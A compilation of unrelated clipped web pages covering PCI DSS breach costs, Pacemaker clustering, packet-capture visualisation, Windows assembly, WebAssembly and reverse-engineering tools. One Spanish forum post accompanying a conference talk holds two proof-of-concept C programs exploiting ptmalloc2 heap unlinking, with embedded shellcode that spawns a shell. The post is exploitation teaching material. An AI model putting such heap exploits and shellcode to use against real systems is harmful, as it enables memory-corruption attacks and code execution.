**Calculating the Approximate cost of a Payment Card Breach**

1\. All Payment Card Data breaches must be investigated by PCI Qualified
Forensic Investigator \(QFI\). Depending on the technical complexity and scale
of the breach, the cost equates to the number of investigator hours and days
required, depending that expect to fork out around £20,000 to £100,000 for a
QFI. It is worth noting should a business not play ball with the acquiring
bank, card brands and card issuers in appointing a QFI, they can remove entire
business' capability to take card payments altogether, so there is no choice
but to dig deep from the outset upon a data breach discovery.  
  

2\. Following the forensic investigation, completion of remediation work and a
successful PCI DSS level 1 QSA assessment is required. Remediation work and
Qualified Security Assessor \(QSA\) assessment as a PCI DSS level 1 merchant
or processor typically costs up to £100,000, depending on the environment that
is in-scope of compliance. This will be a considerable new overhead for
environments deemed as PCI DSS level 2, 3 or 4, as these would have previously
been self-assessed by the business.  
  

3\. The cost per payment card breach is very subjective, however, Verizon's
2015 Data Breach Investigations Report page 30 figure 23, gives a good
indication on the "cost per card lost", which I have converted from US
dollars.

<img src='img/verizon.jpg' width='400' height='162' />

  

<img src='img/verizonukp.jpg' width='400' height='155' />

Optimists should read the left side of the table, pessimists should read the
right side of the table.  
  

4\. Often there will be a penalty surcharge levied per transaction following a
breach, adding an increase to every payment transaction.  
  

5\. Reputational damages, loss of customer and client trust in the business
and brand, this is a hard figure to quantify, but it is worth noting most
cyber insurance policies does not cover any business losses due to
reputational damages following data breaches.  
  

6\. The Information Commissioners Office \(ICO\) regards payment card data as
Personal Information, which means they can add an up to £500,000 per payment
card data breaches. And from May 2018 when the new GDPR data privacy
regulation kicks in, potential data protection fines will ramp significantly,
especially for large enterprises, with fines of up to 4% of the global
turnover of the entire business.

  

So take the worse case breach scenario, namely a compromise of all payment
cards ever stored and processed, apply the above costs, and you should have a
worse case scenario ballpark figure. If that number doesn't focus minds and
incentivise a robust PCI DSS compliance programme and investment in cyber
security, nothing will.  
  
  

<img src='img/pcidssjail.jpg' width='298' height='173' />

  

**Why Passing a PCI DSS Assesment isn't a 'Get out of Jail Free Card'**

No business operating in a PCI DSS compliant state is known to have been
breached. Passing a PCI DSS assessment does not mean the business is actually
PCI DSS compliant, and it certainly is not a 'get out of jail free' card or
carries any weight if a breach occurs. A PCI DSS compliance business means the
in-scope of compliance environment and operations meets every single PCI DSS
requirement in a continual state of operation, 365 days a year, 24 hours a
day, and for every single second.

Posted by  Dave Whitelegg at 02:27

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: cyber insurance, data breach, Data Protection, ICO, Payment Card
Fraud, PCI DSS

  

  *[02:27]: 2017-03-09T02:27:00Z

# ClusterLabs

**Created:**| _10/30/2012 10:34:25 AM_  
---|---  
**Updated:**| _10/30/2012 10:34:25 AM_  
**Author:**| __  
**Tags:**| _high availability_  
  

| Welcome to Pacemaker, A scalable High-Availability cluster resource manager  
---  
|  |  |   
License **·** Features **·** Get Pacemaker **·** Documentation **·** Support |  Categories **·** New Pages **·** A–Z index  
---|---  
**Pacemaker achieves maximum availability for your cluster services** by
detecting and recovering from node and service-level failures. It achieves
this by utilizing the messaging and membership capabilities provided by your
preferred cluster infrastructure \(currently either OpenAIS or Heartbeat\),

If the startup and shutdown of your service can scripted, Pacemaker can
improve its availability. Pacemaker can manage clusters of practically any
size and comes with a powerful dependency model for accurately modeling your
environment.

<img src='img/Temp2_1496.png' width='350' height='263' /> <img src='img/Temp2_1499.png' width='15' height='11' />Two-node Active/Passive clusters using Pacemaker and DRBD are a cost-effective solution for many High Availability situations |  <img src='img/Temp2_1498.png' width='350' height='263' /> <img src='img/Temp2_1499.png' width='15' height='11' />By supporting many nodes, Pacemaker can dramatically reduce hardware costs by allowing several active/passive clusters to be combined and share a common backup node  
---|---  
<img src='img/Temp2_1495.png' width='350' height='263' /> <img src='img/Temp2_1499.png' width='15' height='11' />When shared storage is available, every node can potentially be used for failover. Pacemaker can even run multiple copies of services to spread out the workload. |  <img src='img/Temp2_1497.png' width='350' height='263' /> <img src='img/Temp2_1499.png' width='15' height='11' />Pacemaker 1.2 will include enhancements to simplify the creation of split-site clusters

# Overflowed Minds • Ver Tema - Linux Heap Exploiting Revisited

**Created:**| _3/12/2013 12:56:56 PM_  
---|---  
**Updated:**| _3/12/2013 12:56:56 PM_  
**Author:**| __  
**Tags:**| _Exploit Linux Heap_  
  

### Linux Heap Exploiting Revisited

<img src='img/Temp2_5983.gif' width='11' height='9' alt='Nota' />por
**Newlog** » Lun Mar 11, 2013 12:09 am

Hola,  
  
Aquí tenéis el paper del que os hablé en la charla que di en la RootedCon
2k13: Linux Heap Exploiting Revisited.  
  
Aquí tenéis la presentación. Si queréis el pdf ya lo diréis, pero con el paper
tampoco creo que sea necesario.  
  
Aquí las pruebas de concepto \(muy simples\):  
Primera \(para que funcione os tenéis que bajar el código de la ptmalloc2 y
cargarlo vía LD\_PRELOAD\)  

Código: Seleccionar todo

    `#include <stdio.h>  
#include <string.h>  
#include <stdlib.h>  
#include <sys/mman.h>  
#include <unistd.h>  
  
#define PAYLOAD_SIZE 531  
  
void world_destruction() __attribute__((destructor));  
void build_payload (char *, void *);  
  
char shellcode[]= /* jmp 12 + 12 nops */  
"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
/* shellcode by vlan7 and sch3m4 */  
"\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9"  
"\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"  
"\x69\x8d\x41\x0b\x89\xe3\xcd\x80";  
  
int main(int argc, char ** argv) {  
  
int status;  
char crafted_data[700] = {0};  
  
  
/* Obtain the page size of the system */  
int pagesize = sysconf(_SC_PAGE_SIZE);  
if ( pagesize == -1) {  
perror("[-] Page size could not be obtained");  
exit(EXIT_FAILURE);  
}  
/* Obtain an aligned memory region in order to mprotect it */  
void * real_shell;  
if ( posix_memalign(&real_shell, pagesize, sizeof(shellcode)) ) {  
perror("[+] Aligned memory could not be obtained");  
exit(EXIT_FAILURE);  
}  
/* Copy the shellcode to the executable region obtained with memalign */  
memcpy(real_shell, shellcode, sizeof(shellcode));  
/* Making shellcode location executable */  
mprotect(real_shell, pagesize, PROT_WRITE | PROT_EXEC);  
/* Making DTORS section writable */  
/* NOT DTORS ANYMORE IN GCC 4.7 .FINI_ARAY */  
mprotect((void*)0x8049000, pagesize, PROT_WRITE);  
/* The payload is built */  
build_payload(crafted_data, real_shell);  
  
  
char * ptr_1 = (char *) malloc (512);  
char * ptr_2 = (char *) malloc (512);  
  
memcpy(ptr_1, crafted_data, PAYLOAD_SIZE);  
  
free(ptr_1);  
free(ptr_2);  
  
return 0;  
}  
  
void build_payload(char * crafted_data, void * sc_addr) {  
  
char str_dtor_ptr[5] = {0};  
char * seek = crafted_data;  
  
/* Trash */  
memset(seek, 'A', 516);  
seek += 516;  
/* size of second freed chunk. 0 value */  
memcpy(seek, "\x00\x00\x00\x00", 4);  
seek += 4;  
/* fd of second freed chunk. dtors_end - 12 */  
/* NOT DTORS ANYMORE, GCC 4.7 PUT IT IN .FINI_ARRAY */  
memcpy(str_dtor_ptr, "\xfc\x9e\x04\x08", 4);  
memcpy(seek, str_dtor_ptr, 4);  
seek += 4;  
/* bk of second freed chunk. Shellcode address */  
memcpy(seek, &sc_addr, 4);  
seek += 4;  
}  
  
void world_destruction() {}  
`

  
Segunda  

Código: Seleccionar todo

    `#include <stdio.h>  
#include <string.h>  
#include <stdlib.h>  
#include <sys/mman.h>  
#include <unistd.h>  
  
#define PAYLOAD_SIZE 531  
  
void world_destruction() __attribute__((destructor));  
void build_payload (char *, void *);  
  
char shellcode[]= /* jmp 12 + 12 nops */  
"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
/* shellcode by vlan7 and sch3m4 */  
"\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9"  
"\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"  
"\x69\x8d\x41\x0b\x89\xe3\xcd\x80";  
  
int main(int argc, char ** argv) {  
  
int status;  
char crafted_data[700] = {0};  
  
char * ptr_1 = (char *) malloc (512);  
char * ptr_2 = (char *) malloc (512);  
  
/* Obtain the page size of the system */  
int pagesize = sysconf(_SC_PAGE_SIZE);  
if ( pagesize == -1) {  
perror("[-] Page size could not be obtained");  
exit(EXIT_FAILURE);  
}  
/* Obtain an aligned memory region in order to mprotect it */  
void * real_shell;  
if ( posix_memalign(&real_shell, pagesize, sizeof(shellcode)) ) {  
perror("[-] Aligned memory could not be obtained");  
exit(EXIT_FAILURE);  
}  
/* Copy the shellcode to the executable region obtained with memalign */  
memcpy(real_shell, shellcode, sizeof(shellcode));  
/* Making shellcode location executable */  
mprotect(real_shell, pagesize, PROT_WRITE | PROT_EXEC);  
/* Making DTORS section writable */  
/* NOT DTORS ANYMORE, GCC 4.7 PLACE DESTRUCTORS IN .FINI_ARRAY */  
if ( mprotect((void*)0x8049000, pagesize, PROT_WRITE) ) {  
perror("[-] Section could not be writable");  
exit(EXIT_FAILURE);  
}  
/* The payload is built */  
build_payload(crafted_data, real_shell);  
  
/* It's not really a .dtors pointer, but a pointer to .fini_array section */  
unsigned long * dtors_ptr = (unsigned long *)0x08049f08;  
*dtors_ptr = (unsigned long )( ptr_2 - 0x8);  
  
  
memcpy(real_shell + 8, dtors_ptr, 4);  
  
memcpy(ptr_1, crafted_data, PAYLOAD_SIZE);  
  
free(ptr_1);  
  
return 0;  
}  
  
void build_payload(char * crafted_data, void * sc_addr) {  
  
char str_dtor_ptr[5] = {0};  
char * seek = crafted_data;  
  
/* Trash */  
memset(seek, '@', 516);  
seek += 516;  
/* size of second freed chunk. Hexadecimal 16 value */  
/* PREV_INUSE bit set. Avoid consolidate backward (unlink) on 2nd free */  
memcpy(seek, "\x11\x00\x00\x00", 4);  
seek += 4;  
/* fd of second freed chunk. dtors_end - 12 */  
/* NOT DTORS ANYMORE, GCC 4.7 PLACE DESTRUCTORS IN .FINI_ARRAY */  
memcpy(str_dtor_ptr, "\xfc\x9e\x04\x08", 4);  
memcpy(seek, str_dtor_ptr, 4);  
seek += 4;  
/* bk of second freed chunk. Shellcode address */  
memcpy(seek, &sc_addr, 4);  
seek += 4;  
/* Trash */  
memset(seek, '@', 12);  
seek += 12;  
/* size of fake chunk. PREV_INUSE bit unset. -8 value */  
/* triggers unlink in the nextinuse of the first free() */  
memcpy(seek, "\xf8\xff\xff\xff", 4);  
seek += 4;  
/* Trash */  
memset(seek, '@', 12);  
seek += 12;  
/* Size of the second fake chunk */  
/* if the PREV_INUSE bit is set, the unlink is not triggered */  
/* in the second free()*/  
memcpy(seek, "\x41@@@", 4);  
seek += 4;  
}  
  
void world_destruction() {}  
`

  
  
Espero que os gustara la charla\! Ya veréis que con el paper todo os queda más
claro jajaja.  
  
Saludos.

# News | SCA-Based Open Source Software Defined Radio
**Created:**| _9/13/2011 10:06:00 PM_  
---|---  
**Updated:**| _9/14/2011 9:09:21 AM_  
**Author:**| __  
**Tags:**| _programming Eclipse DSP Gnuradio_  
  

\(6/23/2011, updated 7/10/2011\) **OSSIE-GNU Radio Generic Component version
3.0 released**  
The OSSIE-GNU Radio Generic Component \(GC\) allows encapsulation and run time
configuration of GNU Radio flowgraphs within OSSIE waveforms. The GC was
initially developed by Duyun Chen, Garrett Vanhoy, and MaryPat Beaufait as
part of an NSF funded research experience for undergraduates \(REU\) in
Cognitive Communications \(Grant number 0851400, Prof. Tamal Bose, PI\) during
the summer of 2010. The GC \(videos here\) is available on the latest OSSIE
0.8.2 live DVD and VMware image \(along with other new OSSIE application code
and GNU Radio 3.3.0\) and as a tarball here.

# » Visualizing Packet Captures For Fun and Profit

**Created:**| _3/24/2012 6:44:08 PM_  
---|---  
**Updated:**| _3/24/2012 6:44:08 PM_  
**Author:**| __  
**Tags:**| _visualization network-security_  
  

## Visualizing Packet Captures For Fun and Profit

Filed under: Log Analysis,Visualization — Raffael Marty @ 1:26 pm

<img src='img/Temp2_10798.png' width='200' />  
Have you ever collected a packet capture and you needed to know what the
collected traffic is about? Here is a quick tutorial on how to use AfterGlow
to generate link graphs from your packet captures \(PCAP\).

I am sitting at the 2012 Honeynet Project Security Workshop. One of the
trainers of a workshop tomorrow just approached me and asked me to help him
visualize some PCAP files. I thought it might be useful for other people as
well. So here is a quick tutorial.

#### Installation

To start with, make sure you have AfterGlow installed. This means you also
need to install GraphViz on your machine\!

#### First Visualization Attempt

The first attempt of visualizing tcpdump traffic is the following:

`tcpdump -vttttnnelr file.pcap | parsers/tcpdump2csv.pl "sip dip" | perl graph/afterglow.pl -t | neato -Tgif -o test.gif`
I am using the tcpdump2csv parser to deal with the source/destination
confusion. The problem with this approach is that if your output format is
slightly different to the regular expression used in the tcpdump2csv.pl
script, the parsing will fail \[In fact, this happened to us when we tried it
here on someone else's computer\].  
It is more elegant to use something like Argus to do this. They do a much
better job at protocol parsing:

`argus -r file.pcap -w - | ra -r - -nn -s saddr daddr -c, | perl graph/afterglow.pl -t | neato -Tgif -o test.gif`
When you do this, make sure that you are using Argus 3.0 or newer. If you do
not, ragator does not have the **-c** option\!

From here you can go in all kinds of directions.

#### Using other data fields

`argus -r file.pcap -w - | ra -r - -nn -s saddr daddr dport -c, | perl graph/afterglow.pl | neato -Tgif -o test.gif`
Here I added the dport to the parameters. Also note that I had to remove the
**-t** parameter from the afterglow command. This tells AfterGlow that there
are not two, but three columns in the CSV file.

Or use this:

`argus -r file.pcap -w - | ra -r - -nn -s daddr dport ttl -c, | perl graph/afterglow.pl | neato -Tgif -o test.gif`
This uses the destination address, the destination port and the TTL to plot
your graph. Pretty neat …

#### AfterGlow Properties

You can define your own property file to define the colors for the nodes,
configure clustering, change the size of the nodes, etc.

`argus -r file.pcap -w - | ra -r - -nn -s daddr dport ttl -c, | perl graph/afterglow.pl -c graph/color.properties | neato -Tgif -o test.gif`
Here is an example config file that is not as straight forward as the default
one that is included in the AfterGlow distribution:

`color="white" if ($fields[2] =~ /foo/)  
color="gray50"  
size.target=$targetCount{$targetName};  
size=0.5  
maxnodesize=1  
`

The config uses the number of times the target shows up as the size of the
target node.

#### Comments / Examples / Questions?

Obviously comments and questions are more than welcome. Also make sure that
you post your example graphs on secviz.org\!

# Windows Assembly Languages | McDermott Cybersecurity
**Created:**| _7/15/2011 2:53:26 PM_  
---|---  
**Updated:**| _7/15/2011 2:53:26 PM_  
**Author:**| __  
**Tags:**| _shellcode asm programming windows environment_  
  

Windows x64 Shellcode →

#  Windows Assembly Languages

December 14, 2010

### Contents

  * Introduction
  * .Net Intermediate Language \(IL\)
  * win32 API – x86 assembly language \(32-bit\)
  * win32 API – x64 assembly language \(64-bit\)

### Introduction

When developing in a new language and/or for a new platform \(or returning to
the language/platform after a long absence\), it can sometimes take a while
just to know where to begin. By convention \(with a nod to Kernighan &
Ritchie\), the usual first step is to write a trivial program that simply
displays the message “Hello world”, and confirm that you can successfully
build and execute it.

The following examples include such Hello World programs for Windows
development using assembly language and .Net Intermediate Language, languages
not typically used by application developers but sometimes required for
security researchers. All of these examples are GUI applications that use the
MessageBox\(\) API function to display the message in a pop-up box, as opposed
to console-mode \(DOS-window\) applications.

<img src='img/Temp2_9582.png' width='162' height='188' alt='Hello World
Message Box' />

Command-line build instructions are provided. The PlatformWindows SDK must be
installed as well as Microsoft Visual C++ \(the free Express Edition is
fine\), because the latest SDK does not include all of the tools needed.

### .Net Intermediate Language \(IL\)

All .Net languages ultimately compile to a terse but human-readable language
called Intermediate Language \(IL\), formally known as Common Intermediate
Language \(CIL\), and formerly-formally known as Microsoft Intermediate
Language \(MSIL\). Intermediate Language is then assembled into “bytecode”
which can be executed by the .Net runtime.

It is also possible for adventurous souls to write programs directly in IL,
and there are some things that can be done in IL that have no equivalent in
C\# or other languages. Malware written in IL has been observed, and therefore
it may be necessary for security analysts to be able to understand IL code.
The IL Disassembler tool included with the Windows SDK can be used to view the
IL from an existing .Net executable or library. Here is a minimal version from
scratch:

[code]

    //hello.il
    
    .assembly extern mscorlib {}
    .assembly extern System.Windows.Forms {
        .publickeytoken = (B7 7A 5C 56 19 34 E0 89)
        .ver 4:0:0:0
    }
    
    .assembly HelloIL {}
    
    .namespace HelloIL
    {
        .class Hello
        {
            .method static public void Main() cil managed
            {
                .entrypoint
                .maxstack 8
                ldstr "Hello world!"
                ldstr "Message"
                call valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(string,string)
                pop
                ret
            }
        }
    }
[/code]

Build with:

`ilasm hello.il`

A thorough explanation of this code is beyond the scope of this article, but
note the following:

  * Whichever method contains the .entrypoint directive is considered the program entry point, it is not required to be called Main\(\) or have a particular method signature \(or even be inside a class\).
  * Lines 3-7 declare the required .Net libraries and version information \(we can get away with not specifying a version of mscorlib, the core .net library\)
  * Every type or method from an external library must be prefixed with the assembly name in square brackets, e.g. \[System.Windows.Forms\]
  * When calling a method, parameters are loaded onto the stack left-to-right and the return value popped off.

### win32 API – x86 assembly

The main difference in using assembly language compared to C is that you need
to understand the function calling conventions \(the way parameters and return
values are passed\). The 32-bit Windows API uses the **stdcall** convention
which means that parameters are passed on the stack from right-to-left, and
the return value comes back in the eax register \(we ignore the return value
here, but if we cared about it we could find it in eax\).

[code]

    ;hello32.asm
    
    .386
    .model flat
    
    MessageBoxA proto stdcall hwnd:dword, text:dword, caption:dword, buttons:dword
    ExitProcess proto stdcall exitcode:dword
    
    .data
    
    text        db  'Hello world!', 0
    caption     db  'Message', 0
    
    .code
    
    main proc
        push 0                  ;MB_OK
        push offset caption     ;lpCaption
        push offset text        ;lpText
        push 0                  ;hWnd
        call MessageBoxA
        push 0
        call ExitProcess
    main endp
    
    end
[/code]

Ensure that the x86 build environment is selected \(may need to run
`setenv.bat /x86`\) then build with:

`ml hello32.asm /link /entry:main /subsystem:windows /defaultlib:kernel32.lib
/defaultlib:user32.lib`

There are a few caveats around assembling and linking this code:

  * The .386 and .model directives must come first in the file, even before the API function prototypes, otherwise the assembler may generate 16-bit relocations in the resulting object file. The linker then chokes on these with the cryptic message “fatal error LNK1190: invalid fixup found, type 0×0002″ \(which is also poorly documented in MSDN\).
  * It seems that you have to specify the full parameter list in the prototypes and can’t get away with just declaring “extrn MessageBoxA”, because the 32-bit import libraries \(e.g. user32.lib\) export “mangled” names like \_MessageBoxA@16, where the numeric suffix corresponds to the number of bytes of stack space used for parameters \(4 parameters x 4 bytes each = 16\). Without knowing the number of parameters the linker is unable to locate the function and an “LNK1120: unresolved externals” error occurs.
  * Running the dumpbin utility \(included with Visual C++\) against the .obj and .lib files is helpful for diagnosing these types of issues, particularly with the /exports, /symbols, and /relocations switches. Also try the /verbose linker option \(add to the ml command line after /link\). Matt Pietrek’s linkers article is worth reading to understand how it all works.

### win32 API – x64 assembly

There are a variety of other terms in use for what Microsoft calls “x64″
including amd64, Intel 64, and x86-64. x64 is similar to the 32-bit x86
architecture and not to be confused with IA64, which refers to the vastly
different Itanium processor architecture. The main differences in assembly
programming are the use of new 64-bit registers and the fact that x64 editions
of Windows use a different calling convention for the Windows API.

The calling convention is based on the x86 **fastcall** and involves passing
the first four parameters in registers rather than on the stack. Left-to-
right, the parameters are passed using rcx, rdx, r8, and r9, and the caller
must still “reserve” space on the stack even for the parameters passed in
registers. There is a lot more involved, including stack alignment issues and
different registers used for non-integer parameters. For the full scoop refer
to the x64 Software Conventions on MSDN.

[code]

    ;hello64.asm
    
    extrn MessageBoxA : proc
    extrn ExitProcess : proc
    
    .data
    
    text        db  'Hello world!', 0
    caption     db  'Message', 0
    
    .code
    
    main proc frame
        sub rsp, 28h
        .allocstack 28h
        .endprolog
        xor r9, r9          ;MB_OK
        lea r8, caption     ;lpCaption
        lea rdx, text       ;lpText
        xor rcx, rcx        ;hWnd
        call MessageBoxA
        xor rcx, rcx
        call ExitProcess
        add rsp, 28h
    main endp
    
    end
[/code]

Ensure that the x64 build environment is selected \(`setenv.bat /x64`\) and
build using the 64-bit assembler:

`ml64 hello64.asm /link /subsystem:windows /defaultlib:kernel32.lib
/defaultlib:user32.lib /entry:main`

Note that compared to the 32-bit code:

  * The .386 and .model directives are not used \(or allowed\).
  * The windows API functions can simply be declared as extrn without prototypes \(“name mangling” is not used in the x64 import libraries\).
  * The **frame** directive after **proc** , along with the .**allocstack** and .**endprolog** directives are new for x64. These directives are used to declare the function _unwind information_ which describes the function prologue for debugging and exception handling purposes. The program will still build and run if these directives are omitted, but according to the x64 conventions every _non-leaf function_ \(a function which calls other functions\) is supposed to have unwind information declared. This information is not part of the executable code but rather is stored in the **.pdata** section of the executable and can be viewed with `dumpbin /unwindinfo`. For more details see Unwind Helpers for MASM in the x64 Software Conventions.
  * All non-leaf functions must reserve enough stack space to accommodate the maximum number of parameters of any function it calls, with a minimum of 4 parameters \(even if all called functions take less than 4\), and may need to round up to align the stack on a 16-byte memory boundary. Refer to Stack Usage in the x64 Software Conventions documentation for details. This is important: if insufficient stack space is reserved or alignment is not maintained, the program may crash. In this case 28h \(40 decimal\) bytes are reserved: 32 bytes for the 4 parameters plus an extra 8 bytes for alignment.
  * The stack needs to be adjusted at the end of the function by the same amount reserved in the beginning. The final instruction in main \(add rsp, 28h\) is shown for illustration purposes though it of course will never be executed because ExitProcess is called.
  * It does not matter in what order the parameter values are assigned to registers before the call \(as long as the correct register is used for each parameter\), but it is common practice to assign them in right-to-left order \(as seen in this code\) because programmers are so accustomed to seeing it that way in 32-bit code with the old convention.

# Tsurugi Linux | Digital Forensics, Osint and malware analysis Linux Distribution
**Created:**| _4/1/2019 7:11:30 PM_  
---|---  
**Updated:**| _4/1/2019 7:11:30 PM_  
**Author:**| __  
**Tags:**| _Forensics dfir_  
  

  

The new DFIR Linux distribution

# WebAssembly Troubles part 4: Microwasm

**Created:**| _3/2/2019 6:20:00 PM_  
---|---  
**Updated:**| _3/2/2019 6:20:00 PM_  
**Author:**| _wishi_  
**Tags:**| _wasm_  
  

  

# WebAssembly Troubles part 4: Microwasm

> ### Preamble
> This is the final part of a 4-part miniseries on issues with WebAssembly and
> proposals to fix them. Part 1 here, part 2 here, part 3 here.  
>  
>  This article assumes some familiarity with virtual machines, compilers and
> WebAssembly, but I’ll try to link to relevant information where necessary so
> even if you’re not you can follow along.  
>  
>  Also, this series is going to come off as if I dislike WebAssembly. I love
> WebAssembly\! I wrote a whole article about how great it is\! In fact, I
> love it so much that I want it to be the best that it can be, and this
> series is me working through my complaints with the design in the hope that
> some or all of these issues can be addressed soon, while the ink is still
> somewhat wet on the specification.
Wasm is mostly a great spec, but it has some serious problems. I’ve detailed
some of these issues in the previous three articles in this series, but it
might seem like actually fixing these problems is untenable. Are you _really_
going to deprecate locals? You’re going to deprecate `if`?

Well, turns out we don’t need to - we can get many of the desired benefits
without dropping support for WebAssembly as it exists now.

## Introducing Microwasm

Microwasm \(working title\) is Wasm-compatible format that can be efficiently
consumed by runtimes and efficiently produced by compilers like LLVM. It’s
currently implemented in the Microwasm branch of Lightbeam. The main goals are
as follows:

  * It should be relatively easy to implement each of the following three steps: 
    * Compiler IR->Microwasm;
    * Wasm->Microwasm;
    * Microwasm->Native.
  * It shouldn’t sacrifice any of WebAssembly’s guarantees on safety or determinism.
  * We should maximise the amount of useful information transferred from the compiler producing the Microwasm to the runtime consuming the Microwasm.
  * We should optimise for performance when consuming a stream of Microwasm, unless it conflicts with the performance goals of optimising compilers.
  * Converting Wasm to Microwasm must be possible to do in a streaming way, you shouldn’t need to block on loading a whole Wasm function before you’re able to produce Microwasm.
  * Wasm to Microwasm and then that Microwasm to native code should be precisely as performant as compiling the Wasm to native directly.

The last two points are the most important in my opinion. Basically what it
means is that in the backends of Wasmtime we can just wrap the incoming Wasm
stream in a streaming converter to Microwasm and consume that instead. This
means our backends have the benefit of consuming a simpler language while not
producing worse code. This means that while Wasm can enjoy the same
performance that it already does, if a compiler wants to make use of
Microwasm’s abiliy to allow improved performance then it can. Writing a
Microwasm backend for most compilers would be much, much less costly than
writing a Wasm backend and so it’s not like we have to convince compiler
developers to maintain two equally huge backend codebases.

So how does it compare to WebAssembly? Well here’s a simple function from the
Wasm specification tests:

[code]

    (module
      (func (param i32) (param i32) (result i32)
        get_local 1
        (block (result i32)
            get_local 0
            get_local 0
            br_if 0
            unreachable
        )
        i32.add
      )
    )
[/code]

Here’s that Wasm compiled to Microwasm:

[code]

    .fn_0:
      pick 0
      pick 2
      pick 3
      br_if .L1_end, .L2
    .L2:
      unreachable
    .L1_end:
      i32.add
      br .return
[/code]

The immediate differences in the format as it exists now:

  * No locals - arguments are passed on the stack when entering a function and locals are emulated by adding `swap` and `pick` instructions. This essentially means that `set_local`, `get_local` and `tee_local` are a no-op at runtime, they only affect the virtual stack;
  * Only CFG control flow, no hierarchical blocks like Wasm - this was modelled on the Funclets proposal for Wasm;
  * No block returns - only calling new blocks. Returning from a function is `br .return`. This isn’t proper continuation-passing style, but it’s close enough that we get many of the simplicity benefits.

There’s another change that I’m considering where instructions that need data
from the environment \(for example, instructions that access the linear memory
or the “table section”\) have the environment passed in as an explicit
argument. This reduces the special-casing in much of the translation code, but
more importantly it allows us to free the register that this environment
pointer would be stored in when we’re executing blocks that don’t need it.
This would be a complex change to implement in the Wasm->Microwasm step
though, so we’d want to work out for sure how it affects complexity and
performance before making a firm decision either way.

The difference in quality of the generated code is immediately visible. Here’s
Lightbeam’s assembly output for the function above before the implementation
of Microwasm. I should say that the implementation of the backend that
produced this is significantly more complex than the implementation using
Microwasm:

[code]

      push rbp
      mov  rbp, rsp
      sub  rsp, 0x18
      mov  rax, rsi
      test eax, eax
      je   .L0
      mov  rax, rsi
      jmp  .L1
    .L0:
      jmp  .L2
    .L1:
      add  eax, edx
      mov  rsp, rbp
      pop  rbp
      ret
    .L2:
      ud2
[/code]

Now here’s the output after Microwasm:

[code]

      mov  rax, rsi
      mov  rcx, rdx
      mov  r8, rsi
      test esi, esi
      jne  .L0
      ud2  
    .L0:
      add  ecx, eax
      mov  rax, rcx
      ret
[/code]

You can see that the control flow is much less noisy and the register usage is
much better. The main problem you can see is that some registers are
unnecessarily duplicated. In this case this can’t be avoided. We don’t know if
the `block` will be broken out of again by a later instruction when we’re
translating the `br_if` \- remember, this is a streaming compiler and so we’re
translating instruction by instruction - so we must assume that all arguments
to the `end` label are disjoint even if currently we’ve only encountered jumps
to it that give arguments including duplicates. The precise limitations of a
streaming compiler in comparison to a traditional compiler deserve an article
of their own, but for now the only important thing to say is that an
optimising compiler producing Microwasm directly would be able to avoid this
issue.

For comparison, here’s the assembly produced by Firefox’s optimising
WebAssembly compiler. You can see that it’s much the same as our streaming
compiler can produce:

[code]

      sub rsp, 8
      mov ecx, esi
      test edi, edi
      jne .L0
      ; .fail defined elsewhere
      jmp .fail
    .L0:
      mov eax, ecx
      add eax, edi
      nop
      add rsp, 8
      ret
[/code]

## Why not just a normal MIR?

The idea is that we can make changes that improve the simplicity of our
codegen backend, keeping the format internal so we can see where the positives
and pitfalls might lie. At this stage we’re compiling directly from Wasm so
there’s an upper limit to how high-quality the code we generate can be; we’re
still working with the same source information. It’s more like a streaming
compiler-compatible MIR, except that it keeps all the security and sandboxing
guarantees that WebAssembly has.

Once we’ve got a good idea of how we can get the most out of this format, we
can allow frontends like LLVM to start generating it directly, which should
give us an increase in performance with no extra work on our end. An LLVM
Microwasm backend would be relatively simple to implement - where it differs
from WebAssembly it’s simpler and where it’s similar to WebAssembly we can
just reuse code from that backend.

## Why not just implement these changes in WebAssembly?

Well, that would be ideal. Maintaining a format, even a mostly-compatible one,
is not an easy task. Besides, although you could have users supply code in
this format in standalone environments, it will never be reasonable for
multiple browsers to support both WebAssembly and a similar-but-different fork
of the format. For code on the web to get the same benefits, these changes
would have to be rolled into WebAssembly. So why won’t they be?

Well, the main answer is that V8 \(Chrome’s JavaScript and WebAssembly
engine\) cannot easily support arbitrary CFGs - which are one of the two most
important components of this format. In order to consume this format, V8 would
have to either change their internal representation of control flow or
implement the Relooper/Stackifier algorithm in the engine itself, and V8’s
engineers have made it very clear that they have no interest in doing so.
IonMonkey, Mozilla’s WebAssembly engine used by Firefox, apparently has a few
optimisation passes that assume that the control flow graph is reducible
\(which WebAssembly’s control flow currently always is, while the proposed
control flow would not necessarily be\), but it doesn’t seem like the changes
are as significant as those required in V8 and the team appears more willing
to make them. The likelihood of me convincing the Chrome team to change their
mind is zero, and the Chrome team has members that hold lifetime positions on
the committee in charge of WebAssembly’s design. They have veto power over any
changes in the specification and they are likely to use it.

So instead we can circumvent this issue by implementing our own compatible
format. Maybe the improved freedom that we have to change this format will
allow us to better prototype ideas that we’d like to include into WebAssembly
proper. We can only hope.

This is the final part, so I don’t have a “join us next time” sequel tease. If
you want more, read some of the other articles that I’ve posted or go watch
YouTube or something. Either way, thanks for reading.

  

# smiasm - reverse engineering framework - Google Project Hosting

**Created:**| _8/1/2011 7:56:45 AM_  
---|---  
**Updated:**| _8/1/2011 7:56:45 AM_  
**Author:**| __  
**Tags:**| _reversing programming_  
  

reverse engineering framework in python

## This is a meta repository for :

  * miasm: http://code.google.com/p/miasm/
  * elfesteem: http://hg.secdev.org/elfesteem/
  * grandalf: https://github.com/bdcht/grandalf/

## What is Miasm?

Miasm is a a free and open source \(GPLv2\) reverse engineering framework.
Miasm aims at analyzing/modifying/generating binary programs. Here is a non
exhausting list of features:

  * opening/modifying/generating PE/ELF 32/64 le/be using Elfesteem 
  * Assembling/Disassembling ia32/ppc/arm 
  * Representing assembly semantic using intermediate language 
  * Emulating using jit \(dynamic code analysis, unpacking, ...\) 
  * Expression simplification for automatic de-obfuscation 
  * Graphic disassembler using Grandalf 
  * ... 

## How does it work?

Miasm embed its own disassembler, intermediate language and instruction
semantic. It is written in Python.

To emulate code, it uses libtcc to jit C code generate from intermediate
